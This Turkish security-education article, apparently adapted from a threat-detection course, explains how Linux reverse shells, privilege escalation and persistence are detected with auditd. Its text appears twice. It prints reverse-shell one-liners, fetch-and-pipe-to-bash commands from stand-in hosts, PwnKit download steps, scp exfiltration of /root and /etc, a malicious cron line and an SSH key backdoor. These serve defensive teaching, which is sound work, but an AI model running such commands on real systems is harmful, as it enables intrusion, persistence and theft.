Allah’ın Rahmeti Ve Bereketi Üzerinize Olsun
Selamun aleyküm dostlarım. Bu makalemizde Saldırganların ayrıcalıklarını nasıl artırdıklarını. Azimle devam etmenin en yaygın beş tekniğini ve Reverse Shellerin nasıl kullanıldığını öğreneceğiz Allah’ın izniyle.
Ters Sheller (Reverse Shells)
Saldırı Kolaylığı
SSH üzerinden sisteme giren tehdit aktörleri; renk desteği, otomatik tamamlama ve Ctrl+C desteği bulunan kullanışlı bir terminal elde eder. Ancak her ihlal, tam işlevli bir terminal erişimi sağlamaz. İlk erişim bir exploit veya web açığı üzerinden gerçekleştiğinde, saldırganlar bazı kısıtlamalarla karşılaşabilir: Hatalı komut çıktıları, çalıştırma gecikmeleri ve zaman aşımı sorunları, hız limitleri, ağ kısıtlamaları ve daha fazlası.
Ters sheller (Reverse Shells)
Bu kısıtlamaların üstesinden gelmek için tehdit aktörleri bir reverse shell kurar — yani kurbandan saldırgana doğru açılan bir oturum. Bu yöntem, saldırıyı sürdürmek için daha kullanışlı ve çoğu zaman mümkün olan tek seçenektir. Aşağıda, Linux üzerinde bir reverse shell açmak için kullanılan birçok yöntemden üçü yer almaktadır:
Reverse Shell’lerin Tespit Edilmesi
SOC ekipleri genellikle reverse shell’leri kritik alarm olarak değerlendirir; çünkü bunlar sistemin zaten ihlal edildiğini ve gerçek bir tehdit aktörünün aktif olarak bir kabuk (shell) oturumu açıp saldırıyı sürdürmeye çalıştığını gösterir. Neyse ki, bunlar auditd ile tespit edilebilir. Aşağıda, bir güvenlik açığı istismar edildikten sonra bir socat reverse shell’i kurulduğunda oluşan günlük (log) çıktısı yer almaktadır:
Saldırganın IP adresine reverse shell bağlantısı kurulduktan sonra, genellikle bunu önceki makalelerimizde öğrendiğiniz Discovery ve diğer saldırı aşamaları takip eder. Her zaman olduğu gibi, oluşturulan reverse shell’den kaynaklanan tüm komutları bir süreç ağacı (process tree) oluşturarak listeleyebilirsiniz:
Yetki Yükseltmenin Temelleri
Saldırganlar için bir diğer engel ise yetersiz yetkilerdir. İlk erişim (Initial Access) her zaman sistemin tamamen ele geçirildiği anlamına gelmez ve web saldırıları ile exploit’ler çoğu zaman düşük yetkili servis kullanıcıları üzerinden başlar. Bu kullanıcılar bazen tek bir klasörle (örneğin /var/www/html) sınırlandırılmış olabilir veya kötü amaçlı yazılım indirip çalıştırma yetkisine sahip olmayabilir. Bu durumda saldırganların Yetki Yükseltme (Privilege Escalation) gerçekleştirmesi gerekir ve bu, çeşitli tekniklerle sağlanabilir. Örneğin, root kullanıcısına erişmek için tehdit aktörleri şunları yapabilir:
Yetki Yükseltmenin Tespit Edilmesi
Yetki Yükseltmeyi (Privilege Escalation) tespit etmek zor olabilir; çünkü bunun gerçekleşebileceği yollar oldukça çeşitlidir. Yüzlerce SUID yanlış yapılandırması ve binlerce yazılım açığı bulunmaktadır ve her biri kendine özgü yöntemlerle istismar edilebilir. Bu nedenle daha evrensel bir yaklaşım, çevresindeki olayları tespit etmeye odaklanmaktır. Örneğin, aşağıdaki saldırıyı inceleyin: “root” erişimi elde edildikten sonra yalnızca üç adımdan oluşmaktadır — Discovery, Yetki Yükseltme ve Veri Sızdırma (Exfiltration).
PwnKit exploit’inin tam olarak nasıl çalıştığını bilmeseniz bile, daha yaygın saldırı göstergelerini kullanarak anormallikleri yine de tespit edebilirsiniz. Şüpheli etkinlik fark edildikten sonra, exploit öncesi ve sonrası etkin kullanıcıyı (effective user) karşılaştırarak yetki yükseltmenin başarılı olup olmadığını doğrulayabilirsiniz. Eğer kullanıcılar farklıysa, saldırgan aşağıdaki örnekte olduğu gibi daha yüksek yetkiler elde etmiş demektir.
Linux’ta Kalıcılık (Persistence)
Bağımsız Linux sunucuları, tek bir yeniden başlatma olmadan yıllarca çalışabilir ve genellikle bir sorun ortaya çıkmadığı sürece dokunulmadan bırakılır. Bazı tehdit aktörleri bundan faydalanır ve Kalıcılık (Persistence) sağlamaya acele etmez. Ancak uzun süreli erişim hedefleyen saldırganlar, çoğu zaman bir veya iki ek arka kapı (backdoor) kurar. Windows’ta olduğu gibi, Linux üzerinde de tehdit aktörlerinin kalıcılık sağlamasının birçok yolu vardır. Şimdi en yaygın olanlarla başlayalım.
Cron Kalıcılığı (Persistence)
Cron job’lar, Windows’taki zamanlanmış görevler (scheduled tasks) gibidir — bir işlemi belirli bir zamanlamaya göre çalıştırmanın en basit yoludur ve en yaygın kalıcılık yöntemidir. Örneğin, büyük bir casusluk kampanyasının parçası olarak APT29, GoldMax adlı tamamen işlevsel bir zararlı yazılım dağıtmıştır. Yazılımın yeniden başlatma sonrasında da çalışmaya devam etmesini sağlamak için, kurbanın /var/spool/cron/<user> konumundaki cron job dosyasına yeni bir satır eklemişlerdir.
Başka bir örnek Rocke kripto madencisidir. Redis veya phpMyAdmin gibi herkese açık servislerdeki güvenlik açıklarını istismar ettikten sonra Rocke, kripto madencilik script’ini Pastebin’den indirir ve bunu bir /etc/cron.d/root cron job’u olarak kurar. Buradaki */10 ifadesine dikkat edin; bu, script’in her 10 dakikada bir yeniden indirileceği anlamına gelir. Bu da, BT ekibi dosyaları yanlışlıkla silse bile sistemin kendini hızlıca geri yüklemesini sağlamak içindir.
Systemd Kalıcılığı (Persistence)
Systemd servisleri, en kritik sistem bileşenlerini barındırır. Günümüzde DNS, SSH ve neredeyse tüm web servisleri, /lib/systemd/system veya /etc/systemd/system klasörlerinde yer alan ayrı .service dosyaları olarak düzenlenir. “root” yetkisine sahip olduğunuzda kendi servislerinizi oluşturabilirsiniz; tehdit aktörleri de bunu yapabilir. Örneğin Sandworm grubu, GOGETTER adlı kötü amaçlı yazılımlarının yeniden başlatma sonrasında çalışabilmesi için “cloud-online” adında bir servis oluşturmuştur
Kalıcılığın (Persistence) Tespit Edilmesi
Bu bölümde, saldırganların kalıcılık (Persistence) oluşturduğu anı tespit etmeye odaklanalım. Hem cron job’lar hem de systemd servisleri basit metin dosyaları olarak tanımlanır; bu da onların değişikliklerini auditd kullanarak izleyebileceğiniz anlamına gelir. Ayrıca kalıcılık, ilgili süreçlerin oluşturulmasının takip edilmesiyle de tespit edilebilir. Özellikle cron job’ları yönetmek için crontab ve servisleri yönetmek için systemctl süreçleri izlenerek kalıcılık tespiti yapılabilir.
Hesap Kalıcılığı (Account Persistence)
Önceden daha çok zararlı yazılımın (malware) bir yeniden başlatma sonrasında da çalışmaya devam etmesini sağlamaya odaklanıyordu. Peki ya kalıcı erişim? Bir saldırgan olarak, bir ay sonra tekrar kurbana dönüp daha fazla veri çalmak isteyebilirsiniz, ancak sistemde herhangi bir zararlı yazılım bırakmak istemeyebilirsiniz. Malware olmadan erişimi nasıl sürdürebilirsiniz? Bu tamamen sisteme ilk etapta nasıl girdiğinize bağlıdır.
Yeni Kullanıcı Hesabı
Eğer SSH servisi dışarıya açıksa, saldırganlar yeni bir kullanıcı hesabı oluşturabilir, bu hesabı ayrıcalıklı bir gruba ekleyebilir ve ardından bunu sonraki SSH girişleri için kullanabilir. Bu durumun tespiti de oldukça basittir; kullanıcı oluşturma olaylarını kimlik doğrulama (authentication) logları üzerinden takip edebilir ve ardından auditd kullanarak tüm süreç ağacını yeniden oluşturabilirsiniz (örneğin aşağıdaki durumda ausearch -i --ppid 27254 komutuyla başlanır):
Arka Kapı Bırakılmış SSH Anahtarları (Backdoored SSH Keys)
Hesap kalıcılığı sağlamak için kullanılan bir diğer yöntem, kullanıcıların SSH anahtarlarının arka kapı ile değiştirilmesi ve şifre yerine bu anahtarların gelecekteki girişlerde kullanılmasıdır. Bu duruma daha önce #STHM-Linux Tehdit Algılama 2 makalemizde buna rastlamıştınız; burada Dota3 zararlı yazılımı, ele geçirilen kullanıcının hesabına kendi anahtarını eklemişti. Bu teknik, kötü amaçlı anahtarların meşru anahtarlarla karışabilmesi nedeniyle BT ekipleri tarafından tespit edilmesi zor bir yöntemdir. Örneğin:
Varsayılan olarak, yetkilendirilmiş SSH açık anahtarları her kullanıcının ~/.ssh/authorized_keys dosyasında saklanır. Bu nedenle en iyi tespit yöntemi, bu dosyalardaki değişiklikleri auditd kullanarak izlemektir. Süreç oluşturma (process creation) olaylarına güvenmenin etkili olmadığına dikkat edilmelidir; çünkü SSH anahtarlarını değiştirmek için birçok farklı yöntem vardır ve bunların bazıları auditd tarafından doğru şekilde izlenmeyebilir. Örneğin, echo [key] >> ~/.ssh/authorized_keys komutu loglanmaz, çünkü echo bir shell yerleşik komutudur
Uygulama Katmanında Kalıcılık (Application Persistence)
Bir WordPress web sitesi düşünün ve web yöneticisi hesabının ele geçirildiğini varsayın. Saldırganlar yönetici yetkilerine sahip olduklarında, siteye bir arka kapı (örneğin WSO web shell) ekleyebilir ve bu arka kapı üzerinden komut çalıştırabilirler. Bu durumda cron job veya SSH anahtarlarına ihtiyaç duymazlar. Üstelik bu tür kalıcılık uygulama katmanında gerçekleştiği için, auditd ve sistem logları çoğu zaman bu etkinliği hiç göremez.
Uygulama seviyesinde kalıcılık bu makalemizin kapsamı dışında olsa da, bunun mümkün ve oldukça yaygın bir senaryo olduğunu bilmek önemlidir. Eğer tüm olası kalıcılık yöntemlerini kontrol ettiğiniz halde zararlı yazılım bir süre sonra tekrar ortaya çıkıyorsa, kamuya açık uygulamalarınızdan biri ele geçirilmiş olabilir.
Hedefli Saldırılar ve Özet
Hedefli Saldırılar (Targeted Attacks)
#STHM-Linux Tehdit Algılama 2 makalemizde, kripto madenci enfeksiyonları gibi “Hack and Forget” (ele geçir ve unut) saldırılarını incelemiştiniz. Bu tür saldırılar otomatiktir, kurbanın kim olduğu ile ilgilenmez ve nadiren Yetki Yükseltme (Privilege Escalation) gibi taktikler kullanır. Ancak belirli şirketleri veya devletleri hedef alan, çok daha karmaşık ve yıkıcı saldırılar da olabilir. İşte bu noktada, öğrendiğiniz tekniklere en çok bu zamanda ihtiyaç duyarsınız.
Giriş Noktası Olarak Linux (Linux as Entry Point)
Linux makineleri genellikle güvenlik duvarı, web sunucusu, e-posta sunucusu veya diğer kamuya açık servisler olarak kullanılır. Altyapının %99’u Windows tabanlı olan organizasyonlarda bile, ele geçirilmiş tek bir Linux sunucusu kurumsal ağa giriş kapısı açabilir ve büyük bir etki (Impact) oluşturabilir. Bu nedenle, bir SOC analisti olarak tüm yaygın işletim sistemlerini nasıl güvence altına alacağınızı bilmeniz gerekir.
Casuslukta Linux (Linux in Espionage)
Linux makineleri hassas bilgiler barındırabilir veya kritik görev ağlarında kullanılabilir ve bu nedenle sıklıkla devlet destekli tehdit gruplarının hedefi haline gelir. Örneğin, bu casusluk kampanyasında Symantec makalesi Kimsuky APT grubu birden fazla önemli Linux hedefine arka kapı (backdoor) yerleştirmiştir. İlginç bir şekilde, daha önce öğrendiğiniz bir teknik olan systemd servis kalıcılığını (systemd service persistence) kullanmışlardır.
Ransomware’da Linux (Linux in Ransomware)
Linux ransomware (fidye yazılımları) giderek artmaktadır ve hipervizörler (hypervisors) önemli bir hedef haline gelmektedir. Şöyle bir senaryo düşünün: Şirketiniz yüzlerce Windows sanal makine (VM) çalıştırıyor ve bunların hepsi yalnızca üç adet Linux fiziksel sunucu (hipervizör) üzerinde bulunuyor. Eğer bu hipervizörler yeterince güvenli şekilde korunmazsa, tüm kurumsal sanal makineler risk altına girer. Saldırganların hipervizörleri nasıl ele geçirdiğine dair gerçek bir örnek için Varonis makalesini inceleyebilirsiniz.
Tehdit Tespiti Özeti (Threat Detection Recap)
Linux’un Windowsa kıyasla daha karmaşık olduğunu fark etmişsinizdir.Karmaşık olduğu kadarda en kritik güvenlik duvarları burda bulunur. MITRE ATT&CK matrisindeki en yaygın teknikleri ve şimdiye kadar öğrendiğimiz bütün tekniklerin hızlı bir özeti aşağıdadır
Okuduğunuz için teşekkür ederim
Selamun aleyküm dostlarım. Bu makalemizde Saldırganların ayrıcalıklarını nasıl artırdıklarını. Azimle devam etmenin en yaygın beş tekniğini ve Reverse Shellerin nasıl kullanıldığını öğreneceğiz Allah’ın izniyle.
Ters Sheller (Reverse Shells)
Saldırı Kolaylığı
SSH üzerinden sisteme giren tehdit aktörleri; renk desteği, otomatik tamamlama ve Ctrl+C desteği bulunan kullanışlı bir terminal elde eder. Ancak her ihlal, tam işlevli bir terminal erişimi sağlamaz. İlk erişim bir exploit veya web açığı üzerinden gerçekleştiğinde, saldırganlar bazı kısıtlamalarla karşılaşabilir: Hatalı komut çıktıları, çalıştırma gecikmeleri ve zaman aşımı sorunları, hız limitleri, ağ kısıtlamaları ve daha fazlası.
Ters sheller (Reverse Shells)
Bu kısıtlamaların üstesinden gelmek için tehdit aktörleri bir reverse shell kurar — yani kurbandan saldırgana doğru açılan bir oturum. Bu yöntem, saldırıyı sürdürmek için daha kullanışlı ve çoğu zaman mümkün olan tek seçenektir. Aşağıda, Linux üzerinde bir reverse shell açmak için kullanılan birçok yöntemden üçü yer almaktadır:
| Kurban Makinedeki Komut | Açıklama |
|---|---|
| bash -i >& /dev/tcp/10.10.10.10/1337 0>&1 | Kurban makine, 10.10.10.10:1337 adresine bağlanmaya zorlanır ve saldırgan için "bash" başlatılır. |
| socat TCP:10.20.20.20:2525 EXEC:'bash',pty,stderr,setsid,sigint,sane | Yukarıdaki komutun Socat alternatifi. Saldırgan 10.20.20.20:2525 adresinde dinleme yapmaktadır. |
| python3 -c '[...] s.connect(("10.30.30.30",80));pty.spawn("bash")' | Yukarıdaki komutun Python alternatifi. Saldırgan 10.30.30.30:80 adresinde dinleme yapmaktadır. |
Reverse Shell’lerin Tespit Edilmesi
SOC ekipleri genellikle reverse shell’leri kritik alarm olarak değerlendirir; çünkü bunlar sistemin zaten ihlal edildiğini ve gerçek bir tehdit aktörünün aktif olarak bir kabuk (shell) oturumu açıp saldırıyı sürdürmeye çalıştığını gösterir. Neyse ki, bunlar auditd ile tespit edilebilir. Aşağıda, bir güvenlik açığı istismar edildikten sonra bir socat reverse shell’i kurulduğunda oluşan günlük (log) çıktısı yer almaktadır:
Kod:
root@CW-ommah:~$ ausearch -i -x socat # socat gibi şüpheli komutlara dikkat edin
type=PROCTITLE msg=audit(09/19/25 17:42:10.903:406) : proctitle=socat TCP:10.20.20.20:2525 EXEC:'bash',[...]
type=SYSCALL msg=audit(09/19/25 17:42:10.903:406) : ppid=27806 pid=27808 auid=unset uid=serviceuser key=exec
Kod:
root@CW-ommah:~$ ausearch -i --pid 27806 # Ana sürecini bul ve bir süreç ağacı oluştur
type=PROCTITLE msg=audit(09/19/25 17:42:07.825:404) : proctitle=/bin/sh -c 4 -W 1 127.0.0.1 && socat TCP:10.20.20.20:2525 EXEC:'bash',[...]
type=SYSCALL msg=audit(09/19/25 17:42:07.825:404) : ppid=27796 pid=27806 auid=unset uid=serviceuser key=exec
Kod:
root@CW-ommah:~$ ausearch -i --pid 27796 # Kaynağını doğrulamak için işlem ağacında yukarı doğru ilerleyin
type=PROCTITLE msg=audit(09/19/25 17:41:57.252:403) : proctitle=/usr/bin/python3 /opt/trypingme/main.py
type=SYSCALL msg=audit(09/19/25 17:41:57.252:403) : exe=/usr/bin/python3.12 ppid=1 pid=27796 auid=unset uid=serviceuser key=execSaldırganın IP adresine reverse shell bağlantısı kurulduktan sonra, genellikle bunu önceki makalelerimizde öğrendiğiniz Discovery ve diğer saldırı aşamaları takip eder. Her zaman olduğu gibi, oluşturulan reverse shell’den kaynaklanan tüm komutları bir süreç ağacı (process tree) oluşturarak listeleyebilirsiniz:
Kod:
root@CW-ommah:~$ ausearch -i -x socat # Algılanan ters kabuktan başlayın
type=PROCTITLE msg=audit(09/19/25 17:42:10.903:406) : proctitle=socat TCP:10.20.20.20:2525 EXEC:'bash',[...]
type=SYSCALL msg=audit(09/19/25 17:42:10.903:406) : ppid=27806 pid=27808 auid=unset uid=serviceuser key=exec
Kod:
root@CW-ommah:~$ ausearch -i --ppid 27808 | grep proctitle # Tüm alt işlemlerini listeleyin
type=PROCTITLE msg=audit(09/19/25 17:42:12.825:408) : proctitle=id
type=PROCTITLE msg=audit(09/19/25 17:42:14.371:410) : proctitle=uname -a
type=PROCTITLE msg=audit(09/19/25 17:42:25.432:412) : proctitle=lsYetki Yükseltmenin Temelleri
Saldırganlar için bir diğer engel ise yetersiz yetkilerdir. İlk erişim (Initial Access) her zaman sistemin tamamen ele geçirildiği anlamına gelmez ve web saldırıları ile exploit’ler çoğu zaman düşük yetkili servis kullanıcıları üzerinden başlar. Bu kullanıcılar bazen tek bir klasörle (örneğin /var/www/html) sınırlandırılmış olabilir veya kötü amaçlı yazılım indirip çalıştırma yetkisine sahip olmayabilir. Bu durumda saldırganların Yetki Yükseltme (Privilege Escalation) gerçekleştirmesi gerekir ve bu, çeşitli tekniklerle sağlanabilir. Örneğin, root kullanıcısına erişmek için tehdit aktörleri şunları yapabilir:
| Öncesindeki Discovery (EĞER) | Yetki Yükseltme (O HALDE) |
|---|---|
| uname -a komutu eski ve yamalanmamış bir Ubuntu 16.04 sürümünü gösteriyorsa | PwnKit gibi bir exploit çalıştırılır: wget http://bad.thm/pwnkit.sh | bash |
| find /bin -perm 4000 komutu SUID bayrağına sahip bir env ikili dosyasını tespit ederse | Root erişimi elde etmek için SUID açığı kullanılır: /bin/env /bin/bash -p |
| ls /etc/ssh komutu korumasız bir ssh-backup-key dosyasını ortaya çıkarırsa | Root erişimi elde etmek için dosya kullanılmaya çalışılır: ssh [email protected] -i ssh-backup-key |
Yetki Yükseltmenin Tespit Edilmesi
Yetki Yükseltmeyi (Privilege Escalation) tespit etmek zor olabilir; çünkü bunun gerçekleşebileceği yollar oldukça çeşitlidir. Yüzlerce SUID yanlış yapılandırması ve binlerce yazılım açığı bulunmaktadır ve her biri kendine özgü yöntemlerle istismar edilebilir. Bu nedenle daha evrensel bir yaklaşım, çevresindeki olayları tespit etmeye odaklanmaktır. Örneğin, aşağıdaki saldırıyı inceleyin: “root” erişimi elde edildikten sonra yalnızca üç adımdan oluşmaktadır — Discovery, Yetki Yükseltme ve Veri Sızdırma (Exfiltration).
Kod:
# Algılama 1: Keşif Komutlarında Ani Artış
whoami # “www-data” kullanıcısını döndürür
id; pwd; ls -la; crontab -l # Temel ilk keşif
ps aux | egrep "edr|splunk|elastic" # Güvenlik araçları Keşfi
uname -r # Eski bir 4.4 çekirdeğini döndürür
# Algılama 2: Geçici Dizine İndirme
wget http://c2-server.thm/pwnkit.c -O /tmp/pwnkit.c # Pwnkit güvenlik açığı istismarı indirme
gcc /tmp/pwnkit.c -o /tmp/pwnkit # Pwnkit istismar derlemesi
chmod +x /tmp/pwnkit # Yararlanma kodunu çalıştırılabilir hale getirme
/tmp/pwnkit # Bu güvenlik açığını kullanmaya çalışmak
# Tespit 3: SCP ile Veri Çalınması
whoami # Artık “root” kullanıcısını döndürüyor
tar czf dump.tar.gz /root /etc/ # Hassas verilerin arşivlenmesi
scp dump.tar.gz [email protected]:~ # Verilerin dışarı aktarılmasıPwnKit exploit’inin tam olarak nasıl çalıştığını bilmeseniz bile, daha yaygın saldırı göstergelerini kullanarak anormallikleri yine de tespit edebilirsiniz. Şüpheli etkinlik fark edildikten sonra, exploit öncesi ve sonrası etkin kullanıcıyı (effective user) karşılaştırarak yetki yükseltmenin başarılı olup olmadığını doğrulayabilirsiniz. Eğer kullanıcılar farklıysa, saldırgan aşağıdaki örnekte olduğu gibi daha yüksek yetkiler elde etmiş demektir.
Kod:
root@CW-ommah:~$ ausearch -i -x pwnkit # PwnKit, serviceuser tarafından başlatıldı (UID alanına bakın)
type=PROCTITLE msg=audit(09/19/25 17:56:12.154:416) : proctitle=/tmp/pwnkit
type=SYSCALL msg=audit(09/19/25 17:56:12.154:416) : ppid=24302 pid=24304 auid=unset uid=serviceuser key=exec
Kod:
root@CW-ommah:~$ ausearch -i --ppid 24304 # PwnKit bir root kabuğu oluşturdu (UID alanına bakın)
type=PROCTITLE msg=audit(09/19/25 17:56:12.807:418) : proctitle=bash
type=SYSCALL msg=audit(09/19/25 17:56:12.807:418) : ppid=24304 pid=24310 auid=unset uid=root key=exec
Kod:
root@CW-ommah:~$ ausearch -i --ppid 24310 # Saldırgan, saldırıya root kullanıcısı olarak devam ediyor
type=PROCTITLE msg=audit(09/19/25 17:56:15.225:424) : proctitle=whoami
type=SYSCALL msg=audit(09/19/25 17:56:15.225:424) : ppid=24310 pid=24312 auid=unset uid=root key=execLinux’ta Kalıcılık (Persistence)
Bağımsız Linux sunucuları, tek bir yeniden başlatma olmadan yıllarca çalışabilir ve genellikle bir sorun ortaya çıkmadığı sürece dokunulmadan bırakılır. Bazı tehdit aktörleri bundan faydalanır ve Kalıcılık (Persistence) sağlamaya acele etmez. Ancak uzun süreli erişim hedefleyen saldırganlar, çoğu zaman bir veya iki ek arka kapı (backdoor) kurar. Windows’ta olduğu gibi, Linux üzerinde de tehdit aktörlerinin kalıcılık sağlamasının birçok yolu vardır. Şimdi en yaygın olanlarla başlayalım.
Cron Kalıcılığı (Persistence)
Cron job’lar, Windows’taki zamanlanmış görevler (scheduled tasks) gibidir — bir işlemi belirli bir zamanlamaya göre çalıştırmanın en basit yoludur ve en yaygın kalıcılık yöntemidir. Örneğin, büyük bir casusluk kampanyasının parçası olarak APT29, GoldMax adlı tamamen işlevsel bir zararlı yazılım dağıtmıştır. Yazılımın yeniden başlatma sonrasında da çalışmaya devam etmesini sağlamak için, kurbanın /var/spool/cron/<user> konumundaki cron job dosyasına yeni bir satır eklemişlerdir.
Kod:
# APT29 tarafından önyükleme sırasında kötü amaçlı yazılımı çalıştırmak üzere /var/spool/cron/<kullanıcı> dizinine eklenen bir satır
@reboot nohup /home/<user>/.<hidden-directory>/<malware-name> > /dev/null 2>&1 &
Kod:
# Cron görevini /etc/cron.d/root dizinine ekleyen basitleştirilmiş bir komut
echo "*/10 * * * root (curl https://pastebin.com/raw/1NtRkBc3) | sh" > /etc/cron.d/rootSystemd Kalıcılığı (Persistence)
Systemd servisleri, en kritik sistem bileşenlerini barındırır. Günümüzde DNS, SSH ve neredeyse tüm web servisleri, /lib/systemd/system veya /etc/systemd/system klasörlerinde yer alan ayrı .service dosyaları olarak düzenlenir. “root” yetkisine sahip olduğunuzda kendi servislerinizi oluşturabilirsiniz; tehdit aktörleri de bunu yapabilir. Örneğin Sandworm grubu, GOGETTER adlı kötü amaçlı yazılımlarının yeniden başlatma sonrasında çalışabilmesi için “cloud-online” adında bir servis oluşturmuştur
Kod:
# /lib/systemd/system/cloud-online.service dosyasının basitleştirilmiş içeriği
[Unit]
Description=Initial cloud-online job # Güvenilir bir hizmeti taklit etmek için uydurulmuş açıklama
[Service]
ExecStart=/usr/bin/cloud-online # GOGETTER kötü amaçlı yazılımı, güvenilir bir dosya gibi görünüyorduKalıcılığın (Persistence) Tespit Edilmesi
Bu bölümde, saldırganların kalıcılık (Persistence) oluşturduğu anı tespit etmeye odaklanalım. Hem cron job’lar hem de systemd servisleri basit metin dosyaları olarak tanımlanır; bu da onların değişikliklerini auditd kullanarak izleyebileceğiniz anlamına gelir. Ayrıca kalıcılık, ilgili süreçlerin oluşturulmasının takip edilmesiyle de tespit edilebilir. Özellikle cron job’ları yönetmek için crontab ve servisleri yönetmek için systemctl süreçleri izlenerek kalıcılık tespiti yapılabilir.
| İzlenecek Alan | Açıklama |
|---|---|
| Cron job dosyalarındaki değişiklikleri izleyin | /etc/crontab, /etc/cron.d*, /var/spool/cron/*, /var/spool/crontab/* |
| systemd klasörlerindeki değişiklikleri izleyin | /lib/systemd/system/*, /etc/systemd/system/* ve daha az yaygın konumlar |
| İlgili süreçleri izleyin | nano /etc/crontab, crontab -e, systemctl start|enable <servis> |
Kod:
root@CW-ommah:~$ ausearch -i -f /etc/systemd # /etc/systemd dizinindeki dosya değişikliklerini kontrol edin
type=PROCTITLE msg=audit(09/22/25 16:55:12.740:806) : proctitle=vi /etc/systemd/system/malicious.service
type=PATH msg=audit(09/22/25 16:55:12.740:806) : item=1 name=/etc/systemd/system/malicious.service
type=CWD msg=audit(09/22/25 16:55:12.740:806) : cwd=/
type=SYSCALL msg=audit(09/22/25 16:55:12.740:806) : syscall=openat [...] a2=O_WRONLY|O_CREAT|O_EXCL ppid=1265 pid=1310 uid=root exe=/usr/bin/vi key=systemd
Kod:
root@CW-ommah:~$ ausearch -i -x crontab # crontab komutunun çalıştırılmasını kontrol edin
type=PROCTITLE msg=audit(09/22/25 17:25:14.933:807) : proctitle=crontab -e
type=SYSCALL msg=audit(09/22/25 17:25:14.933:807) : syscall=execve [...] ppid=1265 pid=1316 uid=root key=execHesap Kalıcılığı (Account Persistence)
Önceden daha çok zararlı yazılımın (malware) bir yeniden başlatma sonrasında da çalışmaya devam etmesini sağlamaya odaklanıyordu. Peki ya kalıcı erişim? Bir saldırgan olarak, bir ay sonra tekrar kurbana dönüp daha fazla veri çalmak isteyebilirsiniz, ancak sistemde herhangi bir zararlı yazılım bırakmak istemeyebilirsiniz. Malware olmadan erişimi nasıl sürdürebilirsiniz? Bu tamamen sisteme ilk etapta nasıl girdiğinize bağlıdır.
Yeni Kullanıcı Hesabı
Eğer SSH servisi dışarıya açıksa, saldırganlar yeni bir kullanıcı hesabı oluşturabilir, bu hesabı ayrıcalıklı bir gruba ekleyebilir ve ardından bunu sonraki SSH girişleri için kullanabilir. Bu durumun tespiti de oldukça basittir; kullanıcı oluşturma olaylarını kimlik doğrulama (authentication) logları üzerinden takip edebilir ve ardından auditd kullanarak tüm süreç ağacını yeniden oluşturabilirsiniz (örneğin aşağıdaki durumda ausearch -i --ppid 27254 komutuyla başlanır):
Kod:
root@CW-ommah:~$ cat /var/log/auth.log | grep -E 'useradd|usermod'
2025-09-18T15:46:30 thm-vm useradd[27254]: new group: name=support, GID=1001
2025-09-18T15:46:30 thm-vm useradd[27254]: new user: name=support, UID=1001, GID=1001, home=/home/support, shell=/bin/bash
2025-09-18T15:46:32 thm-vm usermod[27258]: add 'support' to group 'sudo'
2025-09-18T15:46:32 thm-vm usermod[27258]: add 'support' to shadow group 'sudo'Arka Kapı Bırakılmış SSH Anahtarları (Backdoored SSH Keys)
Hesap kalıcılığı sağlamak için kullanılan bir diğer yöntem, kullanıcıların SSH anahtarlarının arka kapı ile değiştirilmesi ve şifre yerine bu anahtarların gelecekteki girişlerde kullanılmasıdır. Bu duruma daha önce #STHM-Linux Tehdit Algılama 2 makalemizde buna rastlamıştınız; burada Dota3 zararlı yazılımı, ele geçirilen kullanıcının hesabına kendi anahtarını eklemişti. Bu teknik, kötü amaçlı anahtarların meşru anahtarlarla karışabilmesi nedeniyle BT ekipleri tarafından tespit edilmesi zor bir yöntemdir. Örneğin:
Kod:
# authorized_keys dosyasına SSH arka kapısı ekleme
root@CW-ommah:~$ echo "AAAAC3Nza...IkiINvQt/R" >> ~/.ssh/authorized_keys
Kod:
# Hangi tuşun gizli giriş olduğunu tahmin etmek zor!
root@CW-ommah:~$ cat ~/.ssh/authorized_keys
ssh-ed25519 AAAAC3Nza...oh5fpNy1Gi # Geçerli anahtar
ssh-ed25519 AAAAC3Nza...N9a2UYsFpQ # Geçerli anahtar
ssh-ed25519 AAAAC3Nza...IkiINvQt/R # Backdoor keyVarsayılan olarak, yetkilendirilmiş SSH açık anahtarları her kullanıcının ~/.ssh/authorized_keys dosyasında saklanır. Bu nedenle en iyi tespit yöntemi, bu dosyalardaki değişiklikleri auditd kullanarak izlemektir. Süreç oluşturma (process creation) olaylarına güvenmenin etkili olmadığına dikkat edilmelidir; çünkü SSH anahtarlarını değiştirmek için birçok farklı yöntem vardır ve bunların bazıları auditd tarafından doğru şekilde izlenmeyebilir. Örneğin, echo [key] >> ~/.ssh/authorized_keys komutu loglanmaz, çünkü echo bir shell yerleşik komutudur
Kod:
# “echo [anahtar] >> ~/.ssh/authorized_keys” komutuyla oluşturulan bir arka kapının izleri
# Kötü amaçlı “echo” komutunun günlüğe sadece “bash” olarak kaydedildiğine dikkat edin
root@CW-ommah:~$ ausearch -i -f /.ssh/authorized_keys
type=PROCTITLE msg=audit(09/22/25 16:55:12.740:806) : proctitle=bash
type=PATH msg=audit(09/22/25 16:55:12.740:806) : item=1 name=/home/user/.ssh/authorized_keys
type=CWD msg=audit(09/22/25 16:55:12.740:806) : cwd=/
type=SYSCALL msg=audit(09/22/25 16:55:12.740:806) : syscall=openat [...] a2=O_WRONLY|O_CREAT|O_EXCL ppid=1265 pid=1310 uid=root exe=/usr/bin/vi key=systemdUygulama Katmanında Kalıcılık (Application Persistence)
Bir WordPress web sitesi düşünün ve web yöneticisi hesabının ele geçirildiğini varsayın. Saldırganlar yönetici yetkilerine sahip olduklarında, siteye bir arka kapı (örneğin WSO web shell) ekleyebilir ve bu arka kapı üzerinden komut çalıştırabilirler. Bu durumda cron job veya SSH anahtarlarına ihtiyaç duymazlar. Üstelik bu tür kalıcılık uygulama katmanında gerçekleştiği için, auditd ve sistem logları çoğu zaman bu etkinliği hiç göremez.
Uygulama seviyesinde kalıcılık bu makalemizin kapsamı dışında olsa da, bunun mümkün ve oldukça yaygın bir senaryo olduğunu bilmek önemlidir. Eğer tüm olası kalıcılık yöntemlerini kontrol ettiğiniz halde zararlı yazılım bir süre sonra tekrar ortaya çıkıyorsa, kamuya açık uygulamalarınızdan biri ele geçirilmiş olabilir.
Hedefli Saldırılar ve Özet
Hedefli Saldırılar (Targeted Attacks)
